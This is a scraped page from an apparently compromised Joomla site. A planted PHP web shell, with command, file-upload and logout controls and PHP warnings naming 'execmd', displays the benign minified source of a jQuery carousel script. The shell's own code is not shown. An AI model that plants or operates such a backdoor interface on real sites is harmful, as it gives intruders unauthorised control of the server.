403 Forbidden


Warning: Undefined array key "execmd" in /home/grupmartgn/elanartcrafts/administrator/components/com_contenthistory/helpers/index.php on line 2


Warning: Undefined variable $liatds in /home/grupmartgn/elanartcrafts/administrator/components/com_contenthistory/helpers/index.php on line 2
Disable Functions:
Path : /home/grupmartgn/elanartcrafts/media/com_carouselck/assets/
File Upload :
Command :
Current File : /home/grupmartgn/elanartcrafts/media/com_carouselck/assets/carouselck.min.js

!function(Y){var Z=function(a,l,t){if(!(this instanceof Z))return new Z(a,l,t);var e=window.carouselcks||[];if(!(-1<e.indexOf(a))){e.push(a),window.carouselcks=e;l=Y.extend({},{wrapheight:"40%",imageheight:"62%",imagesratio:"0.72",pagination:!0,navigation:!0,navigationHover:!1,duration:600,time:3e3,captionduration:600,easing:"easeInOutExpo",autoAdvance:!0,playPause:!0,lightbox:"mediaboxck",thumbnails:!0,captionresponsive:!0,imagePath:"modules/mod_carouselck/images/"},l);var p=Y(a).addClass("carousel_wrap");p.append('<div class="carouselck_src"></div>'),p.append('<div class="carouselck_images"></div>'),p.append('<div class="carouselck_thumbs_cont"></div>'),p.append('<div class="carouselck_captions"></div>'),p.append('<div class="carouselck_videos"></div>'),1==l.pagination&&p.append('<div class="carouselck_pag"></div>');var u=Y(".carouselck_pag",p),s=Y(".carouselck_images",p),d=Y(".carouselck_captions",p),m=Y(".carouselck_videos",p),g=Y(".carouselck_thumbs_cont",p),i=new Array,v=new Array,k=new Array,f=new Array,_=new Array,x=new Array,w=new Array,n=new Array,o=new Array,c=new Array,y=new Array,b=new Array,I=new Array,A=new Array,C=new Array,F=new Array,O=new Array,z=new Array,T=new Array;Y("> div.carouselck",p).each(function(){Y(this).find("> img").length?i.push(Y(this).find("> img").attr("src")):i.push(Y(this).attr("data-src")),Y(this).attr("data-thumb")?n.push(Y(this).attr("data-thumb")):n.push(""),Y(this).attr("data-link")?o.push(Y(this).attr("data-link")):o.push(""),Y(this).attr("data-rel")?c.push('rel="'+Y(this).attr("data-rel")+'" '):c.push(""),Y(this).attr("data-title")?y.push('title="'+Y(this).attr("data-title")+'" '):y.push(""),Y(this).attr("data-target")?b.push(Y(this).attr("data-target")):b.push(""),Y(this).attr("data-alt")?I.push(Y(this).attr("data-alt")):I.push(""),Y(this).css("display","none"),Y(".carouselck_src",p).append(Y(this))});var q=i.length,P=p.width();p.css({width:"100%",height:p.width()*(parseFloat(l.wrapheight)/100)});var W,L,B,H=!1;for(C[1]=p.height(),A[1]=parseFloat(C[1])/parseFloat(l.imageheight)*100,F[1]=p.width()/2-A[1]/2,O[1]=0,z[1]=1e3,T[1]=1,imagesmtmpoffset=A[1]/2*l.imagesratio*l.imagesratio,C[0]=C[1]*l.imagesratio,A[0]=A[1]*l.imagesratio,F[0]=F[1]-imagesmtmpoffset,O[0]=(C[1]-C[0])/2,z[0]=z[1]-11,T[0]=.8,C[2]=C[0],A[2]=A[0],F[2]=F[1]+A[1]-A[2]+imagesmtmpoffset,O[2]=O[0],z[2]=z[1]-10,T[2]=.8,C[-1]=C[0]*l.imagesratio,A[-1]=C[0]*l.imagesratio,F[-1]=p.width()/2-C[-1]/2,O[-1]=(C[0]-C[-1])/2,z[-1]=z[0]-10,T[-1]=0,W=1;W<q+1;W++){imgopacity=1,W<3?L=W:W==q?L=0:(L=-1,imgopacity=0);for(var M=new Array,S=0;S<i.length;S++){var R=i[S];imgsrctmp=R.split("/"),imgnametmp=imgsrctmp[imgsrctmp.length-1],M.push(imgnametmp)}var $=new Array;Y(".carouselck_caption",p).each(function(){var a=Y(this).parent().index(),t=Y(this).find(".carouselck_caption_title").text().trim(),e=Y(this).find(".carouselck_caption_desc").text().trim(),i=t.length?t:e||M[a];$.push(i)}),newImg=new Image,Y(newImg).css({position:"absolute",height:C[L],width:A[L],left:F[L],top:O[L],"z-index":z[L],opacity:imgopacity}),newImg.src=i[W-1],Y(newImg).attr("width",parseInt(A[L])),Y(newImg).attr("height",parseInt(C[L])),Y(newImg).attr("alt",$[W-1]?$[W-1]:I[W-1]),1==W&&Y(newImg).addClass("carouselckcurrentimg"),imgindex=W==q?0:W,Y(newImg).attr("index",imgindex),Y(newImg).attr("naturalindex",W-1),s.append(Y(newImg)),Y(newImg).click(function(){H||U(K(Y(this).attr("index")),K(Y(this).attr("index")))}).mouseover(function(){}).mouseleave(function(){}),(B="")!=o[W-1]&&(B=Y('<a class="carouselck_link" aria-label="Link for : '+I[W-1]+'" '+c[W-1]+y[W-1]+'href="'+o[W-1]+'"  target="'+b[W-1]+'"></a>'),s.append(B)),1==W&&""!=o[W-1]&&B.css({display:"block",left:F[L],top:O[L],width:A[L],height:C[L]}),k[imgindex]=C[L],v[imgindex]=A[L],f[imgindex]=F[L],_[imgindex]=O[L],x[imgindex]=z[L],w[imgindex]=T[L]}var j,E,N=Y("> img",s);if(Y(".carouselck_caption",p).each(function(){Y(this).hasClass("emptyck")||Y(this).wrapInner("<div />"),Y(this).hide(),d.append(Y(this))}),d.css({position:"absolute",height:parseInt(C[1]),width:parseInt(A[1]),left:parseInt(F[1])+parseInt(Y(".carouselckcurrentimg").css("borderLeftWidth")),top:parseInt(O[1])+parseInt(Y(".carouselckcurrentimg").css("borderTopWidth"))}),V(0),Y(".carouselck_src iframe",p).each(function(){Y(this).attr("naturalindex",Y(this).parent().index()),Y(this).hide(),m.append(Y(this))}),m.css({position:"absolute","z-index":1e3,height:parseInt(C[1]),width:parseInt(A[1]),left:parseInt(F[1])+parseInt(Y(".carouselckcurrentimg").css("borderLeftWidth")),top:parseInt(O[1])+parseInt(Y(".carouselckcurrentimg").css("borderTopWidth"))}),m.hide(),Y("iframe",Y(".carouselck_videos",p)).each(function(){var a=Y(this),t=a.attr("src"),e=l.imagePath+"blank.gif",i=new Image;i.src=e,h=parseInt(l.height),a.after(Y(i).attr({class:"imgFake"}).css({width:Y(".carouselck_videos",p).width(),height:Y(".carouselck_videos",p).height(),position:"absolute",top:"0",left:"0",cursor:"pointer"})),Y(i).bind("click",function(){"absolute"==Y(this).css("position")?(Y(this).remove(),-1!=t.indexOf("vimeo")||-1!=t.indexOf("youtube")?autoplay=-1!=t.indexOf("?")?"&autoplay=1":"?autoplay=1":-1!=t.indexOf("dailymotion")&&(autoplay=-1!=t.indexOf("?")?"&autoPlay=1":"?autoPlay=1"),a.attr("src",t+autoplay),videoPresent=!0,autoAdv=!1,s.addClass("paused"),clearTimeout(E),Y(".carouselck_stop",D).length&&(Y(".carouselck_stop",D).hide(),Y(".carouselck_play",D).show())):(Y(this).css({position:"absolute",top:0,left:0,zIndex:10}).after(a),a.css({position:"absolute",top:0,left:0,zIndex:9}))})}),Y(".imgFake").hide(),Y("iframe[naturalindex=0]",Y(".carouselck_videos",p)).length&&(m.show(),Y("iframe[naturalindex=0]",Y(".carouselck_videos",p)).show().next(".imgFake").show()),Y(u).length){var Q;for(Y(u).append('<div class="carouselck_pag_ul" />'),Q=0;Q<q;Q++)Y(".carouselck_pag_ul",p).append('<div class="carouselck_pag_nav pag_nav_'+Q+'" style="position:relative; z-index:1002"><span><span>'+Q+"</span></span></div>");Y(".carouselck_pag_ul .carouselck_pag_nav",p).hover(function(){if(Y(this).addClass("carouselck_hover"),Y(".carouselck_thumb",this).length){var a=Y(".carouselck_thumb",this).outerWidth(),t=Y(".carouselck_thumb",this).outerHeight(),e=Y(this).outerWidth();Y(".carouselck_thumb",this).show().css({top:"-"+t+"px",left:"-"+(a-e)/2+"px"}).animate({opacity:1,"margin-top":"-3px"},200),Y(".thumb_arrow",this).show().animate({opacity:1,"margin-top":"-3px"},200)}},function(){Y(this).removeClass("carouselck_hover"),Y(".carouselck_thumb",this).animate({"margin-top":"-20px",opacity:0},200,function(){Y(this).css({marginTop:"5px"}).hide()}),Y(".thumb_arrow",this).animate({"margin-top":"-20px",opacity:0},200,function(){Y(this).css({marginTop:"5px"}).hide()})}).click(function(){if(!H){var a=Y(this).attr("index")-Y(".carouselckcurrent",u).attr("index");U(a,a)}})}if(Y(g).length)Y.each(n,function(a,t){if(""!=Y("> div.carouselck",p).eq(a).attr("data-thumb")&&1==l.thumbnails){var e=Y("div.carouselck_src > div.carouselck",p).eq(a).attr("data-thumb"),i=new Image;i.src=e,Y(i).attr("alt",$[a]?$[a]:I[a]),Y(".pag_nav_"+a,u).attr("index",a).append(Y(i).attr("class","carouselck_thumb").css({position:"absolute"}).animate({opacity:0},0)),Y(".pag_nav_"+a+" > img",u).after('<div class="thumb_arrow" />'),Y(".pag_nav_"+a+" > .thumb_arrow",u).animate({opacity:0},0)}}),Y(".carouselck_pag .carouselck_pag_nav",p).removeClass("carouselckcurrent"),Y(".carouselck_pag .carouselck_pag_nav",p).eq(0).addClass("carouselckcurrent");Y(window).bind("resize pageshow",function(){var a;!function(){var a;function t(){wrapw=p.width(),r=wrapw/P,p.css("height",p.width()*(parseFloat(l.wrapheight)/100)),N.each(function(a,t){var e=(t=Y(t)).attr("index"),i=parseInt(v[e])*r,s=parseInt(k[e])*r,n=parseInt(f[e])*r,o=parseInt(_[e])*r;t.css({height:s,width:i,left:n,top:o})}),Y(".carouselck_captions, .carouselck_videos, .carouselck_link",p).css({height:parseInt(C[1])*r,width:parseInt(A[1])*r,left:parseInt(F[1])*r+parseInt(Y(".carouselckcurrentimg").css("borderLeftWidth")),top:parseInt(O[1])*r+parseInt(Y(".carouselckcurrentimg").css("borderTopWidth"))})}1==j?(clearTimeout(a),a=setTimeout(t,200)):t();j=!0}(),1==l.captionresponsive&&(a=p.width()/500,Y(".carouselck_caption > div",p).css("font-size",a+"em"))}),"mediaboxck"==l.lightbox&&"undefined"!=typeof Mediabox?Mediabox.scanPage():"squeezebox"==l.lightbox&&(SqueezeBox.initialize({}),SqueezeBox.assign($$("a.camera_link[rel=lightbox]"),{})),0==l.autoAdvance&&s.addClass("paused"),X(),1==l.playPause&&p.append('<div class="carouselck_commands"></div>');var D=Y(".carouselck_commands",p);Y(D).length&&(Y(D).append('<div class="carouselck_play"></div>').append('<div class="carouselck_stop"></div>'),1==l.autoAdvance?(Y(".carouselck_play",p).hide(),Y(".carouselck_stop",p).show()):(Y(".carouselck_stop",p).hide(),Y(".carouselck_play",p).show())),1==l.navigation&&p.append('<div class="carouselck_prev"><span></span></div>').append('<div class="carouselck_next"><span></span></div>'),p.on("click",".carouselck_stop",function(){autoAdv=!1,s.addClass("paused"),clearTimeout(E),Y(".carouselck_stop",D).length&&(Y(".carouselck_stop",D).hide(),Y(".carouselck_play",D).show())}),p.on("click",".carouselck_play",function(){autoAdv=!0,s.removeClass("paused"),Y(".carouselck_play",D).length&&(Y(".carouselck_play",D).hide(),Y(".carouselck_stop",D).show(),X())}),p.on("click",".carouselck_next",function(){U(1,1)}),p.on("click",".carouselck_prev",function(){U(-1,-1)});var G=Y(".carouselck_prev",p),J=Y(".carouselck_next",p);1==l.navigationHover&&(Y(G,p).animate({opacity:0},0),Y(J,p).animate({opacity:0},0),Y(D,p).animate({opacity:0},0),p.hover(function(){Y(G,p).animate({opacity:1},200),Y(J,p).animate({opacity:1},200),Y(D,p).animate({opacity:1},200)},function(){Y(G,p).animate({opacity:0},200),Y(J,p).animate({opacity:0},200),Y(D,p).animate({opacity:0},200)})),(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i))&&(p.bind("swipeleft",function(a){U(1,1)}),p.bind("swiperight",function(a){U(-1,-1)}))}function K(a){return a-Y(".carouselckcurrentimg",p).attr("index")}function U(e,i){var s=(e=e||1)<0?"fromleft":"fromright";if(i=i||1,0!=e&&(i=Math.abs(e),0<e?e--:e++,i<=0&&(i=1),!H)){var n;H=!0,wrapw=p.width(),r=wrapw/P,Y(".carouselck_caption",d).hide(),Y("iframe",m).hide(),m.hide(),Y(".imgFake").hide();var o="",c=!1;N.each(function(a,t){t=Y(t),imgIndex=t.attr("index"),t.next("a.carouselck_link").length&&t.next("a.carouselck_link").css("display","none"),1==(n="fromleft"==s?parseInt(imgIndex)==q-1?0:parseInt(imgIndex)+1:0==parseInt(imgIndex)?q-1:parseInt(imgIndex)-1)&&t.css("z-index","1010"),1==n&&(o=a,iNatural=t.attr("naturalindex")),t.zindex=x[n],t.animate({left:parseInt(f[n])*r,top:parseInt(_[n])*r,width:parseInt(v[n])*r,height:parseInt(k[n])*r,opacity:w[n]},l.duration/i,"linear",function(){t.css("z-index",t.zindex),""!==o&&0==c&&(0!=e?(H=!1,U(e,i)):(X(),H=!1,V(o),Y("iframe[naturalindex="+o+"]",Y(".carouselck_videos",p)).length&&0==e&&(m.show(),Y("iframe[naturalindex="+o+"]",Y(".carouselck_videos",p)).show().next(".imgFake").show()),Y("img[naturalindex="+o+"]",p).next("a.carouselck_link").length&&Y("img[naturalindex="+o+"]",p).next("a.carouselck_link").css({display:"block",left:parseInt(f[1])*r+parseInt(Y(".carouselckcurrentimg").css("borderLeftWidth")),top:parseInt(_[1])*r+parseInt(Y(".carouselckcurrentimg").css("borderTopWidth")),width:parseInt(v[1])*r,height:parseInt(k[1])*r})),c=!0)}),t.attr("index",n),1==n?(t.addClass("carouselckcurrentimg"),Y(u).length&&(thumbindex=a>Y(".carouselck_pag_nav",u).length?0:a,Y(".carouselck_pag_nav",u).removeClass("carouselckcurrent"),Y(".carouselck_pag_nav",u).eq(thumbindex).addClass("carouselckcurrent")),Y(g).length&&(thumbindex=a>Y(".carouselck_pag_nav",g).length?0:a,Y(".carouselck_pag_nav",g).removeClass("carouselckcurrent"),Y(".carouselck_pag_nav",g).eq(thumbindex).addClass("carouselckcurrent"),Y(".carouselck_pag_nav",g).not(".carouselckcurrent").find("img").animate({opacity:.5},0),Y(".carouselck_pag_nav.carouselckcurrent img",g).animate({opacity:1},0),Y(".carouselck_pag_nav",g).hover(function(){Y("img",this).stop(!0,!1).animate({opacity:1},150)},function(){Y(this).hasClass("carouselckcurrent")||Y("img",this).stop(!0,!1).animate({opacity:.5},150)}))):t.removeClass("carouselckcurrentimg")})}}function V(a){var t=Y(".camera_src > div",p).eq(a).attr("data-time");if(time=void 0!==t&&!1!==t&&""!==t?parseFloat(t):l.time,captionindex=a,Y(".carouselck_caption:eq("+captionindex+")",d).length&&!Y(".carouselck_caption:eq("+captionindex+")",d).hasClass("emptyck")){if(""!=Y(this).attr("data-easing"))var e=Y(this).attr("data-easing");else e=l.easing;var i=Y(".carouselck_caption:eq("+captionindex+")",d),s=i.position(),r=(s.left,s.top,i.attr("class")),n=(i.index(),i.outerHeight()),o=p.height(),c=p.width();i.css("display","block"),-1!=r.indexOf("moveFromLeft")?(i.css({left:"-"+c+"px",right:"auto"}),i.css("visibility","visible").animate({left:s.left},l.captionduration,e)):-1!=r.indexOf("moveFromRight")?(i.css({left:c+"px",right:"auto"}),i.css("visibility","visible").animate({left:s.left},l.captionduration,e)):-1!=r.indexOf("moveFromTop")?(i.css({top:"-"+o+"px",bottom:"auto"}),i.css("visibility","visible").animate({top:s.top},l.captionduration,e,function(){i.css({top:"auto",bottom:0})})):-1!=r.indexOf("moveFromBottom")?(i.css({top:o+"px",bottom:"auto"}),i.css("visibility","visible").animate({top:0},l.captionduration,e)):-1!=r.indexOf("fadeFromLeft")?(i.animate({opacity:0},0).css({left:"-"+c+"px",right:"auto"}),i.css("visibility","visible").animate({left:s.left,opacity:1},l.captionduration,e)):-1!=r.indexOf("fadeFromRight")?(i.animate({opacity:0},0).css({left:c+"px",right:"auto"}),i.css("visibility","visible").animate({left:s.left,opacity:1},l.captionduration,e)):-1!=r.indexOf("fadeFromTop")?(i.animate({opacity:0},0).css({top:"-"+o+"px",bottom:"auto"}),i.css("visibility","visible").animate({top:s.top,opacity:1},l.captionduration,e,function(){i.css({top:"auto",bottom:0})})):-1!=r.indexOf("fadeFromBottom")?(i.animate({opacity:0},0).css({bottom:"-"+n+"px"}),i.css("visibility","visible").animate({bottom:"0",opacity:1},l.captionduration,e)):-1!=r.indexOf("fadeIn")?i.animate({opacity:0},0).css("visibility","visible").animate({opacity:1},l.captionduration,e):i.css("visibility","visible")}}function X(){0!=l.autoAdvance&&(s.hasClass("paused")||(clearTimeout(E),E=setTimeout(U,l.time)))}};window.Carouselck=Z}(jQuery);

404 Not Found
[ LogOut ]

Warning: Undefined array key "go" in /home/grupmartgn/elanartcrafts/administrator/components/com_contenthistory/helpers/index.php on line 2